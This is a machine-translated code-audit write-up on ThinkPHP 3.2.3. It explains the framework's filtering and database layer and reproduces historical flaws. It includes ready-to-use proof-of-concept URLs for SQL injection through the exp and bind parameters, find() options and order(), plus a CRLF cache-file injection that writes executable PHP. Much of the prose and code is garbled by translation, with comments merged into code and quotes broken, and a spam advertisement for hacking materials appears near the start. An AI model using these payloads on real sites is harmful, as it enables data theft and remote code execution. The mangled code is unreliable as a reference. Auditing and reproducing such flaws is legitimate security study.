Introduction to the

ThinkPHP is a famous PHP development framework in China, based on the MVC pattern, was born in early 2006, formerly known as FCS, New Year’s Day 2007 officially renamed ThinkPHP.

This paper mainly analyzes ThinkPHP V3 program code, through the structure analysis of ThinkPHP V3, the underlying code analysis, classic historical vulnerability recurrence analysis, etc., to learn how to audit the MVC model of the program code, ThinkPHP V3 series of vulnerability recurrence, summary of experience. After encounter ThinkPHP V3 code can be independent audit, grasp the key point. Even those who don’t want to know too much about The ThinkPHP V3 code will have a clear understanding of the VULNERABILITY of the TP3 program.

The ThinkPHP V3.x series was first released in 2012 and stopped maintenance in 2018. The most used version is 3.2.3, which was released in 2014 and is the version audited in this article. TP 3 May be rare now, but code analysis of TP 3 is a good way to get started with MVC code auditing.

Understand the ThinkPHP 3

The directory structure

The initial directory structure of TP3 is as follows:

WWW WEB deployment directory (or directories) ├ ─ index. The PHP file entrance ├ ─ README. Md README file ├ ─ Application Application directory ├ ─ Public resource file directory └ ─ ThinkPHP framework directoryCopy the code

In this period the default directory structure is actually there is a big problem, the entry file index. All PHP and program code in the WEB deployment directory, this will cause the program in the file will be leaked, such as access to the Application/Runtime/Logs/under the log, the Internet also has the corresponding blasting script, Batch get log files in the program

2021 Latest collation network security penetration testing/security learning (full set of video, big factory face classics, boutique manual, essential kit) a > point I < a

The configuration file

In ThinkPHP, application configuration files are normally automatically loaded in the following order:

Routine Configuration -> Application Configuration -> Mode Configuration -> Debug Configuration -> Status Configuration -> Module Configuration -> Extension Configuration -> Dynamic Configuration

This is the loading sequence of the configuration file. The subsequent configuration overwrites the previous configuration with the same name

Custom configuration

Convention over configuration is the follow one of the important thoughts, system framework with a custom configuration file (located in ThinkPHP/Conf/convention. PHP)

Application configuration

Application configuration file that is calling all modules before first loads the Common configuration file (default is located in the Application/Common/Conf/config. PHP)

The module configuration

Each module automatically loads its own configuration file (Application/ current module name /Conf/config.php)

If you have access to program code, it’s usually a priority to look at the configuration file of the system, and you can access the configuration information of the database, which is very profitable

It is also possible to flip through the model code, which may yield unexpected results (in TP 3 you can use DNS to connect to the database when instantiating the model)

new \Home\Model\NewModel('blog','think_','mysql://root:1234@localhost/demo');

Copy the code

Another point to note is that TP3 in a configuration file can achieve a lot of information configuration, such as database information configuration, routing rules configuration will be placed in a file. In TP5, special files are used to configure different requirements. For example, the routing configuration file is specifically responsible for configuring routes, and the database configuration file is specifically responsible for configuring database information

Route processing mode

Routing processing in TP3 is as follows

http://php.local/thinkphp3.2.3/index.php/Home/Index/index/id/1 entry file module/controller/method/parametersCopy the code

Compatibility mode can also be used

index.php? S =Home/Index/ Index/ id/1 Entry file module/Controller/Method/ParameterCopy the code

TP3 has the function of route forwarding. The location of these two files is mentioned in the application or module configuration file for specific routing rules

The configuration mode is as follows:

// Enable route 'URL_ROUTER_ON' => true, // Route rule 'URL_ROUTE_RULES' => array(' news/:year/:month/:day' => array(' news/ archive', 'status=1'), 'news/:id' => 'News/read', 'news/read/:id' => '/news/:1', ),Copy the code

If the routing rule is in the application configuration file, the routing rule is applied globally. If the routing rules in the module configuration file, the only applies to the current module, with when accessing the corresponding routing module name, such as the home module configuration file defines the routing of the above, access to http://test.com/home/news/1

Quick way

TP 3 encapsulates shortcuts for some oft-used operations to make applications simpler and more secure

The system is not described in the official DOCUMENTATION of TP 3, but in TP 5 it is cleaned up and given a canonical name: helper functions.

Quick way generally located in the ThinkPHP/Common/functions provides PHP, here are a few

I way

PHP programs generally use global variables such as $_GET and $_POST to obtain external data. In ThinkPHP, an I method is encapsulated to obtain external variables more conveniently and safely. It can be used anywhere, and the usage format is as follows:

I(' variable type. Variable name/modifier ',[' default value '],[' filter method or re '],[' additional data source '])Copy the code

Example:

echo I('get.id'); $_GET['id'] echo I('get.name'); $_GET['name'] // Use htmlspecialchars to filter $_GET['name'], return empty string echo I('get.Copy the code

If no filtering method is passed in, the system uses the default filtering mechanism, which can be obtained in the configuration file

C method

After reading the existing configuration, the data in the configuration file can be read through the C method

$model = C('URL_MODEL');Copy the code

M method /D method

For data model instantiation operation, specific these two methods how to achieve, what is the difference, for the moment not much attention, just know that through these two shortcuts can quickly instantiate a data model object, so as to operate the database

$User = new \Home\Model\UserModel(); $User = D('User'); $User = new \Think\Model('User'); $User = M('User');Copy the code

model

ThinkPHP is based on the MVC pattern architecture, where most of the database and application logic is handled in model M. ThinkPHP3 in the underlying design of model M, SQL injection such a problem, here to reproduce its vulnerability, first familiar with the underlying design

, Think, Model class

TP3 implementation Model file for ThinkPHP/Library/Think/Model class. PHP, file defines the Model base class/Think/ThinkPHP Model class, / Think/Model attributes of a class is generally do not need to set up, The default values are obtained from the configuration file

// ThinkPHP/Library/Think/Model.class.php namespace Think; $tablePrefix = null; $tablePrefix = null; // Model name protected $name = "; // Database name protected $dbName = "; // Protected $connection = ''; // data tableName (without table prefix). Normally, the default is the same as the model name. $trueTableName = ''; $trueTableName = ''; Public function __construct($name= "",$tablePrefix=" ",$connection= "") $this->db(0,empty($this->connection)? $connection:$this->connection,true); }...Copy the code

The role of Model classes is mostly to manipulate data tables, and you usually need to inherit the system’s ** Think * Model class ** or its subclasses. If the model class is named according to the system specification, it can automatically correspond to the table. For example, if you define a UserModel class, the default corresponding table is think_user (assuming the database prefix definition is think_).

namespace Home\Model;
use Think\Model;
class UserModel extends Model {
}

Copy the code

Model instantiation

1) First, instantiation can be done directly through the class name

Instantiate the UserModel class defined above

$User = new \Home\Model\UserModel();

Copy the code

2) ThinkPHP also provides shortcuts for instantiating the model: D method and M method

The D method is used as follows, and the parameter is the name of the model

<? $User = D('User'); $User = new \Home\Model\UserModel(); $User->select();Copy the code

If only basic CURD operations are performed on the table, using the M method may provide better performance

$User = M('User'); $User = new \Think\Model('User'); $User->select();Copy the code

3) Instantiate the null model class

With native SQL queries, there is no need to use additional model classes. Instantiate an empty model class to perform operations, such as:

$Model = new Model(); $Model = M(); $Model->query('SELECT * FROM think_user WHERE status = 1');Copy the code

Database operations

The TP3 Model class provides a number of methods for manipulating a database. Here are some common methods:

where()

The arguments to the WHERE method, which supports strings and arrays, are used to retrieve the WHERE part of an SQL statement

1) Arguments are arrays

$User = M("User"); $name = I(' get.name '); $res = $User->field('username,age')->where(array('username'=>$name))->select();Copy the code

Last SQL statement executed:

SELECT `username`,`age` FROM `think_user` WHERE `username` = 'wang'

Copy the code

2) The parameter is a string

$User = M("User"); $name = I(' get.name '); $res = $User->field('username,age')->where("username='%s'",$name)->select();Copy the code

Last SQL statement executed:

SELECT `username`,`age` FROM `think_user` WHERE ( username='wang' )

Copy the code

3) There are loopholes in the usage

Instead of passing in extra parameters, the parameters will not be filtered, resulting in SQL injection. In the code audit, you can pay attention to whether this situation exists in the program

$User->field('username,age')->where("username='$name'")->select();

Copy the code

Actual SQL statement

SELECT `username`,`age` FROM `think_user` WHERE ( username='xy' )

Copy the code

SQL injection can be done by closing single quotes and parentheses, even if the I method is used here

select()

Gets multiple row records in a data table

find()

Read a row of data from a data table

Example:

<? php namespace Home\Controller; use Think\Controller; class IndexController extends Controller { public function index(){ $name = I('GET.name'); $User = M("user"); / / instantiate the User object $User - > where (array (' name '= > $name)) - > select (); }}Copy the code

TP 3 also provides chained operations, if we now want to query a User table for the first 10 records that meet state 1 and want to sort by the time the User was created

$User->where('status=1')->order('create_time')->limit(10)->select();

Copy the code

Safety filtering mechanism

TP3 provides automatic security filtering operations for both I methods and database operations

I method of security filtering

ThinkPHP/Common/functions.php

The I method code is greatly simplified below, and the key logic code is retained

The $name parameter is a string, which is parsed by the I method in the format of get. Id, post. Name /s

First, the I method resolves $method, the data type, and the data $data in the $name string

$data is filtered using the $filter method. If $filter is empty, htmlspecialchars is called

'DEFAULT_FILTER' => 'htmlspecialchars', // Default parameter filter method for I function...Copy the code

$data is also filtered by think_filter(), which matches the data for sensitive characters. If $data matches sensitive characters, it adds a space after the data

Function I($name,$default= ",$filter=null,$datas=null) {if(strpos($name,'.')) {// List ($method,$name) =" explode('.',$name,2); $method = 'param'; } switch(strtolower($method)) { case 'get' : $input =& $_GET; break; case 'post' : $input =& $_POST; break; ... $data = $input; $data = $input[$name]; $data = is_array($data) ? array_map_recursive($filter,$data) : $filter($data); is_array($data) && array_walk_recursive($data,'think_filter'); return $data; } function think_filter(&$value){// TODO other security filters // filter query special characters if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){ $value .= ' '; }}Copy the code

Note that sensitive characters in ThinkPHP3.2.3 do not include BIND, TP3 has a RISK of SQL injection because of this

Security filtering for database operations

Fetching external data using the I method does some security filtering by default. The system you saw above is configured with HTMLSpecialchars by default, which protects against most XSS injections. Because many programs now use precompilation, TP5 generally does not use I method to filter SQL injection of external data.

Therefore, TP3 also has its own security filtering method in database operation, TP3 has its own precompilation processing method, in the case of no precompilation, TP3 will do addslash() filtering, and SQL injection problems in TP3 is in the case of no precompilation, some of the filtering is ignored

I really admire the leaders who dug these loopholes. Recently, it was very difficult to understand the flow of MVC code, but they found the key problems in the complex code. When I repeated the analysis later, I felt that it was necessary to be very familiar with the flow of TP to dig such loopholes

The sample program

This section mainly through the following example code analysis TP3 is how to deal with SQL operations, how to join SQL statements, how to do security filtering operations

This is a common external input WHERE query conditions SQL operation, TP3 database operation has a certain universality

Application/Home/Controller/IndexController.class.php

class IndexController extends Controller { public function test(){ $name = I('GET.name'); $User = M("user"); / / instantiate the User object $User - > field (' username, age) - > where (array (' username '= > $name)) - > select (); }}Copy the code

Visit the link below

http://tp.test:8888/index.php/home/index/test?name=s'

Copy the code

The final SQL statement executed is:

SELECT `username`,`age` FROM `think_user` WHERE `username` = 's\''

Copy the code

Here’s a closer look at the flow that the sample program SQL executes

Field (), where(), and select() are executed in chained order. Field () is the field used to process the query, where the data is uncontrollable and we don’t care

The where () method

Let’s start with the logic of where(), which is used to construct the WHERE conditional part of an SQL statement, which is a common SQL injection point. As mentioned earlier, the model class provides a WHERE () method that takes an array parameter or a string parameter, $WHERE. The WHERE () method then parses the data into the options array property of the model object for subsequent concatenation of the complete SQL statement

If $WHERE is a string, $parse is another argument passed to where() and will be filtered by escapeString. $parse will then be formatted in $WHERE, and the value of the string will be placed in $WHERE [‘_string’]. The filtering is clear here, so you don’t have to worry about SQL injection in this way

If $WHERE is an array, which is officially recommended, there is no direct filtering in the where() method, and we need to worry about subsequent processing of this value

$WHERE will eventually be placed in options[‘where’] of the current model object for later processing

// ThinkPHP/Library/Think/Model.class.php public function where($where,$parse=null){ if(! is_null($parse) && is_string($where)) { $parse = array_map(array($this->db,'escapeString'),$parse); $where = vsprintf($where,$parse); } if(is_string($where) && '' ! = $where){ $map = array(); $map['_string'] = $where; $where = $map; } if(isset($this->options['where'])){ $this->options['where'] = array_merge($this->options['where'],$where); }else{ $this->options['where'] = $where; } return $this; }Copy the code

The select () method

If a string is passed to where(), it will be filtered. If a string is passed to where(), it will be filtered.

The select() method stores part of the WHERE field data in the options array property of the model object. The select() method mainly forms the final SQL statement from the options array. Its underlying by ThinkPHP/Library/Think/Db/Driver. Class. PHP package complete, process is more complex, with a picture below briefly describes its process

You can see that the final SQL statement will be completed by buildSelectSql(), where parseTable(),parseWhere() and other methods complete the set fields of the SQL statement

The where field is parsed by parseWhere(), because the string parameters are already filtered. ParseWhere () is not filtering the array parameters (the code above is ignored), but the array parameters are filtered, and the details are in parseWhereItem(). We need to pay attention to whether parseWhereItem() fits perfectly

parseWhereItem()

**parseWhereItem()** takes two arguments $key and $val, respectively, from the key and value for opention[‘where’]

The first thing you need to know is that the final filtering method is parseValue(), and the filtering value is $val. The filtered $var and $key form the final WHERE field

$exp=$val[0] $exp=$val[0] $exp=$val[0]

As you can see, when $exp is bind, exp, IN, it is not filtered by **parseValue()**, so there is a possibility of bypassing the filter

If $exp is bind, the where statement will add = :, which will affect the injected statement (although delete has been found to eliminate the effect of this symbol, this vulnerability will be examined later); If it is the IN operator, the last constructed SQL statement will add the IN operator, which causes slight interference. A value of exp seems to be the best choice

When $val is not an array, it must be filtered by parseValue() and discarded

// ThinkPHP/Library/Think/Db/Driver.class.php line:547-616 protected function parseWhereItem($key,$val) { $whereStr = "'; if(is_array($val)) { if(is_string($val[0])) { $exp = strtolower($val[0]); If (preg_match (' / ^ (eq | neq | gt | egt | lt | elt) $/ ', $exp)) {/ / comparison operations parseValue ()... ; } elseif (preg_match (' / ^ (notlike | like) $/ ', $exp)) {/ / fuzzy search parseValue ()... ; } elseif (' bind '= = $exp) {/ / using the expression $whereStr. = $key.' = : '. $val [1]. } elseif (' exp '= = $exp) {/ / using the expression $whereStr. = $key.' '. $val [1]. } elseif (preg_match (' / ^ (notin | not in | in) $/ ', $exp)) {/ / operation in the if (isset ($val [2]) && 'exp' = = $val [2]) {$whereStr. = $key. ' '.$this->exp[$exp].' '.$val[1]; }else{ parseValue(); }} elseif (preg_match (' / ^ (notbetween | not between | between) $/ ', $exp)) {/ / between computing parseValue ()... ; }else{ E(L('_EXPRESS_ERROR_').':'.$val[0]); }} else {... $this->config['db_like_fields']; $this->config['db_like_fields']; if($likeFields && preg_match('/^('.$likeFields.')$/i',$key)) { $whereStr .= $key.' LIKE '.$this->parseValue('%'.$val.'%'); }else { $whereStr .= $key.' = '.$this->parseValue($val); } } return $whereStr; }Copy the code

Then construct a POC to verify

http://tp.test:8888/index.php/home/index/test?name[0]=exp&name[1]=111'

Copy the code

‘exp’ == $exp ‘exp’ == $exp ‘exp’ == $exp ‘exp’ == $exp

$_GET (); $_GET (); $_GET ()

http://tp.test:8888/index.php/home/index/test?name[0]=exp&name[1]=='1' and (extractvalue(1,concat(0x7e,(select user()),0x7e))) #

Copy the code

The actual injected SQL statement:

SELECT `username`,`age` FROM `think_user` WHERE `username` ='1' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))

Copy the code

summary

At present, the security filtering process of ThinkPHP V3.2.3 on input variables through I method and the security filtering process of database when parsing WHERE field in SELECT statement are analyzed. There is also a small problem with SQL injection if ThinkPHP is not used in a canonical way. These irregularities can also be found in code audits

History of vulnerability

Update injection vulnerability

Select (); select(); select(); select();

This section focuses on where statements with a value of $exp as ‘bind’ that suffer from the “= :” effect in the middle, but someone found that the model class’s save() method can eliminate the “:” effect, resulting in SQL injection vulnerability

$exp is a special character in think_filter(), and the final value of $exp is whitespace and cannot be entered in this logic

/ / ThinkPHP/Library/Think/Db/Driver. Class. PHP function parseWhereItem () {... Elseif (' bind '= = $exp) {/ / using the expression $whereStr. = $key.' = : '. $val [1]. } elseif (' exp '= = $exp) {/ / using the expression $whereStr. = $key.' '. $val [1]. }... } / / ThinkPHP/Common/functions provides. PHP function think_filter (& $value) {/ / TODO other security filter / / query special characters if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){ $value .= ' '; }}Copy the code

The use of the save ()

ThinkPHP’s model base class implements SQL update operations using the save() method as follows, where the data to be changed is passed as a number associative group

$User = M("User"); $data['name'] = 'ThinkPHP'; $data['name'] = 'ThinkPHP'; $data['email'] = '[email protected]'; $User->where('id=5')->save($data); // Update records according to conditionsCopy the code

You can also change it to object mode:

$User = M("User"); $User->name = 'ThinkPHP'; $User->name = 'ThinkPHP'; $User->email = '[email protected]'; $User->where('id=5')->save(); // Update records according to conditionsCopy the code

Construct the scene for save()

ThinkPHP is just a framework that encapsulates many methods, but the save() layer encapsulates SQL operations for update.

Here we build a scenario that uses the save() method, and where() takes an array of arguments, in order to access bind’s processing logic. External parameters are received using the strict I method

public function test(){ $name = I('GET.name'); $User = M("user"); $data['jop'] = '111'; $res = $User->where(array('name'=>$name))->save($data); var_dump($res); }Copy the code

To access the processing logic of ‘bind’, the following connection tests will be constructed to inject:

http://tp.test:8888/index.php/home/index/test?name[0]=bind&name[1]=kkey'

Copy the code

Save () processing logic

The logic for where() is described in the security filtering mechanism section. When we pass in an array parameter, it is not filtered in where(). The parameter is eventually stored in the options array property of the model object. As for how this unfiltered data is processed in save(), let’s analyze it below:

ThinkPHP/Library/Think/Model.class.php

$options = where($data); $data = set ($data)

$data, $options is the key to composing the SQL statement, which will be handed to the DB ->update() implementation

// ThinkPHP/Library/Think/Model.class.php class Model { protected $options; Public function save($data= ",$options=array()) {... $result = $this->db->update($data,$options); ... return $result; }}Copy the code

ThinkPHP/Library/Think/Db/Driver.class.php

Let’s focus on the underlying implementation of Update () :

// ThinkPHP/Library/Think/Db/Driver.class.php abstract class Driver { public function update($data,$options) { $table = $this->parseTable($options['table']); $SQL = 'UPDATE '. $table. $this->parseSet($data); $SQL.= $this->parseWhere(! empty($options['where'])? $options['where']:''); ... return $this->execute($sql,! empty($options['fetch_sql']) ? true : false); }}Copy the code

First of all,$data**parseSet()** parseSet()Without looking too closely, == the set field parsed by this method will be usedA placeholder in the form of named (:name) **, whose value is already in the bind array ==, indicating that TP wants to precompile

ParseWhere () parseWhere()

ParseWhere () also doesn’t have to look closely, but the array parameters are eventually parsed by parseWhereItem()

ParseWhereItem () does not filter arguments when the injected $exp (representing the operator) is equal to bind. Instead, the “=:” symbol is added to the WHERE substatement. The key to this vulnerability is how to eliminate the “:” symbol. In the figure below, our data is strangely precompiled, and the format of the prepared statement is obviously wrong

$SQL is the SQL statement that is finally parsed and executed in execute()


Trace the execute() method:

// ThinkPHP/Library/Think/Db/Driver.class.php public function execute($str,$fetchSql=false) { $this->queryStr = $str; if(! empty($this->bind)){ $that = $this; $this->queryStr = strtr($this->queryStr,array_map(function($val) use($that){ return '\''.$that->escapeString($val).'\'';  },$this->bind)); } if($fetchSql){ return $this->queryStr; } foreach ($this->bind as $key => $val) { $this->PDOStatement->bindValue($key, $val); } $result = $this->PDOStatement->execute();Copy the code

$STR is the SQL statement to execute

Focus on the handling of $this->queryStr, where two functions are executed, a STRST () string substitution function and an anonymous function called with array_map()

The anonymous function is called escapeString() to filter the bind array. The bind array only has the values of the set statement. == The value of the WHERE statement is still not filtered ==

STRST () will convert placeholders operator to bind the corresponding values in the array, such as: $bind = [‘, 0 ‘= >’ 111 ‘, ‘1’ = > ‘222’), then the SQL statement * * ‘, 0 ‘characters will be replaced by’ 111 ‘, ‘1’ is substituted for ‘222’ * *. The key point of == is that we make the where statement final “:0”, so the substitution “:” will be eliminated, eliminating the effect of: on the injected statement ==

$this->queryStr $this->queryStr $this->queryStr

Validation vulnerabilities

poc:

http://tp.test:8888/index.php/home/index/test?name[0]=bind&name[1]=0 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+

Copy the code

The SQL statement actually executed

UPDATE `think_user` SET `job`='111' WHERE `username` = '111' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--

Copy the code

Verify the figure:

The official repair

As mentioned earlier, the I method does not filter BIND for input, which allows us to enter the logic of BIND, leaving our array parameters unfiltered throughout. Officials have filtered this out. So this vulnerability exists in ThinkPHP<=3.2.3

Note: If the I method is not used to receive external data, then the following fixes are meaningless and the vulnerability is still used

summary

It feels very difficult to dig this kind of loophole! You need to be familiar with each flow of data. Again, the vulnerability is at the input point of the WHERE () method, but the final SQL injection is due to the accidental substitution of BIND and concatenation statements that the I method ignores

Perhaps the most important aspect of this vulnerability is the global substitution of STRTR (), which replaces the unexpected data. If you can see this, you should be able to find the exploit in reverse. The official fix does not fix this key point, so it is still possible to cause SQL injection without using the I method

If you want to look for such a vulnerability in a real world scenario, you can first look at an operation that might have an UPDATE and then inject a POC attempt

Select&delete injection vulnerability

$this->options ($this->options); $this->options ($this->options); $this->options ($this->options); $this->options $this->options $this->options $this->options

$this->options $this->options $this->options $this->options $this->options $this->options $this->options The use of find() is not mentioned in the official documentation, but it may require some cooperation from developers

The code analysis

ThinkPHP/Library/Think/Model.class.php

class Model { protected $options = array(); Public function find ($options = array ()) {if (is_numeric ($options) | | is_string ($options)) {/ / $options for an array $where[$this->getPk()] = $options; $options = array(); $options['where'] = $where; $this->getPk(); $this->getPk(); If (is_array($options) && (count($options) > 0) && is_array($pk)) {$options ($options) > 0) && is_array($pk)) { $options['limit'] = 1; $options = $this->_parseOptions($options); ... $resultSet = $this->db->select($options); // The underlying query statementCopy the code

Find () can accept an external argument, $options, but this usage is not mentioned in the official documentation

GetPk () gets the current primary key, default is ‘id’

$options[‘where’] consists of a primary key and external data when $options is a number or string

If $options is an array and the primary key $pk is also an array, the compound primary key query will be entered. The default primary key is $pk=id

$options is finally fetched by _parseOptions(). $this->options = $this->options = $this->options = $this->options = $this->options Note that the second parameter of array_merge() overwrites the value of the first parameter, so if the $options passed in by the find() method is manageable, the entire SQL statement is also manageable

// ThinkPHP/Library/Think/Model.class.php protected function _parseOptions($options=array()) { if(is_array($options)) $options = array_merge($this->options,$options); ...Copy the code

$options[‘where’] = $options[‘where’]; $options[‘where’] = $options[‘where’]

// ThinkPHP/Library/Think/Db/Driver.class.php public function parseSql($sql,$options=array()){ // $options['where'] $this->parseWhere(! empty($options['where'])? $options [' where '] : "')... protected function parseWhere($where) { $whereStr = ''; $whereStr = $where; $whereStr = $where; ...Copy the code

Scene structure

Construct a find() method that takes an external argument, which is potentially flawed

public function test(){ $id = I('GET.id'); $User = M("user"); $res = $User->find($id); }Copy the code

The exploit

http://tp.test:8888/home/index/test?id[where]=(1=1) and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+

Copy the code

The actual SQL statement executed is

SELECT * FROM `think_user` WHERE (1=1) and (updatexml(1,concat(0x7e,(select user()),0x7e),1))-- LIMIT 1

Copy the code

The official repair

That’s what the authorities are doing with the restoration_parseOptions()Ignores the external incoming$options, so that the data we pass in can only be used for the primary key query, and the primary key query will eventually be converted to the array format, and the array format data will be filtered later, so that the vulnerability does not exist

The delete() and select() methods in model.class.php had the same problem and were also fixed in ThinkPHP3.2.4

summary

Can see ThinkPHP in SQL query processing time is very fine, made a controlled the primary key of the query this functionality, allows the user to control the value of the primary query, but always keep the primary key of the query data for the array form can be filtered, to ensure the security of the data, but it ignores some unexpected situation, lead to SQL injection. This vulnerability also requires a good understanding of the underlying ThinkPHP logic

Order by injection vulnerability

The code analysis

ThinkPHP’s Model base class, Model, does not provide the order method directly. Instead, it uses the __call() magic method to get arguments to special methods, as follows:

ThinkPHP/Library/Think/Model.class.php

Class Model {// Query expression parameter protected $options = array(); Protected $methods = array('strict','order','alias','having','group',...) ; Public function __call($method,$args) {if(in_array(strtolower($method),$this->methods,true)) $this->options[strtolower($method)] = $args[0]; return $this; }... }}Copy the code

$this->options[‘order’] $this->options[‘order’] $this->options[‘order’] $this->options[‘order’]

The final order statement will be parsed by parseOrder()

ThinkPHP/Library/Think/Db/Driver.class.php

In Thinkphp3.2.3, parseOrder() is implemented quite simply

abstract class Driver { protected function parseOrder($order) { if(is_array($order)) { $array = array(); foreach ($order as $key=>$val){ if(is_numeric($key)) { $array[] = $this->parseKey($val); }else{ $array[] = $this->parseKey($key).' '.$val; } } $order = implode(',',$array); } return ! empty($order)? ' ORDER BY '.$order:''; }Copy the code

$options[‘order’] parseOrder()

The procedure has no filtering for $order, and can inject at will…

Scene structure

Construct a scenario where the order parameter is controllable, but few programs seem to hand the query sorting parameter to the user

public function test(){ $order = I('GET.order'); $User = M("user"); / / instantiate the User object $res = $User - > order ($order) - > the find (); }Copy the code

The exploit

Poc:

http://tp.test:8888/home/index/test?order=updatexml(1,concat(0x7e,(select%20user()),0x7e),1)

Copy the code

Actually execute the SQL statement

SELECT * FROM `think_user` ORDER BY updatexml(1,concat(0x7e,(select user()),0x7e),1)

Copy the code

The system repair

When looking at the system repair code, we found that ThinkPHP3.2.4 mainly uses the method of judging whether there are parentheses in the input filter, while in ThinkPHP3.2.5, we use regular expressions to filter special symbols. This vulnerability also exists in ThinkPHP<=5.1.22 and is exploited in a slightly different way

When replaying this vulnerability, I found that the codes of other bloggers were different from mine. I will take the downloaded codes as the criterion

Cache loopholes

ThinkPHP provides a data cache function, corresponding to S method, you can first save some data in a file, when accessing the data again directly access the cache file

Sample cache file

Cache data according to the parameters of cache initialization

public function test(){
  	$name = I('GET.name');
  	S('name',$name);
}

Copy the code

The next time the value is read, it can be obtained faster by caching the file

public function cache(){
  	$value = S('name');
  	echo $value;
}

Copy the code

Test () is first accessed to generate cached data

http://tp.test:8888/home/index/test?name=jelly

Copy the code

Found that generated file: Application/Runtime/Temp/b068931cc450442b63f5b3d276ea4297. PHP

Then access cache() to fetch the cached data

image-20210729173745860.png

This is how cache files are generated and used

The code analysis

ThinkPHP/Common/functions.php

There’s nothing interesting about this code, except that S has the kinetic energy of view cache, delete cache, and write cache, so we’re just going to focus on the set() method of write cache, okay

Function S($name,$value= "",$options=null) {$cache = Think\ cache ::getInstance(); / / specific cache operate the if (" = = = $value) {/ / access to cache the return $cache - > get ($name); }elseif(is_null($value)) {return $cache->rm($name); }else {// Cache data if(is_array($options)) {$expire = isset($options['expire'])? $options['expire']:NULL; }else{ $expire = is_numeric($options)? $options:NULL; } return $cache->set($name, $value, $expire); }}Copy the code

ThinkPHP/Library/Think/Cache/Driver/File.class.php

Let’s look at file_put_contents(), which is where the file is written, and we need to control the two parameters, the filename $filename, and the data $data

$filename = $name; $name = $name

Write data $data from $value. $value can be controlled

$value is serialized first

Then use

Class File extends Cache {public function set($name,$value,$expire=null) {... $filename = $this->filename($name); $data = serialize($value); $data = "<? php\n//".sprintf('%012d',$expire).$check.$data."\n? > "; $result = file_put_contents($filename,$data); If ($result) {if ($this - > options > 0) [' length '] {/ / record buffer queue $this - > queue ($name); } clearstatcache(); return true; }else { return false; }}Copy the code

Let’s take a look at how the file is named, using filename()

C(‘DATA_CACHE_KEY’) is the value of DATA_CACHE_KEY in the configuration file, which is null by default. When this value is null, the final MD5 encrypted value of $name is known

$this->options[‘prefix’]; $this->options[‘temp’]; $this->options[‘temp’]

private function filename($name) {
        $name	=	md5(C('DATA_CACHE_KEY').$name);
        if(C('DATA_CACHE_SUBDIR')) {
        }else{
            $filename	=	$this->options['prefix'].$name.'.php';
        }
        return $this->options['temp'].$filename;
    }

Copy the code

The exploit

Using the example program above, POC:

http://tp.test:8888/home/index/test?name=%0d%0aphpinfo(); %0d%0a//Copy the code

0x0d – \r, carrige return enter 0x0a – \n, new line newline

Switch behavior 0D 0A in Windows

UNIX swap behavior 0A

Parameter name name decided to reveal that the cache file name, md5 (name) = b068931cc450442b63f5b3d276ea4297, file name is: B068931cc450442b63f5b3d276ea4297. PHP, the default directory for the Application/Runtime/Temp, and then visit our PHP file

summary

Because the entry file of ThinkPHP3 is located in the root directory, which is in the same directory as the application directory, many files in the system can be accessed. The cache file generated here can also be accessed directly. This vulnerability also exists in some versions of TP5, but the entry file of TP5 is more secure. This loophole is not necessarily exploitable.

conclusion

This paper is basically in accordance with the TP3 loopholes to summarize the history of audit method, there is still a lot of the points mentioned, such as TP3 filters, such as a file upload, but this article to this already has more than 9000 words, a bit more than I expected, as for this article did not mention point, mostly according to the normal PHP audit method can audit TP3 program, So this article ends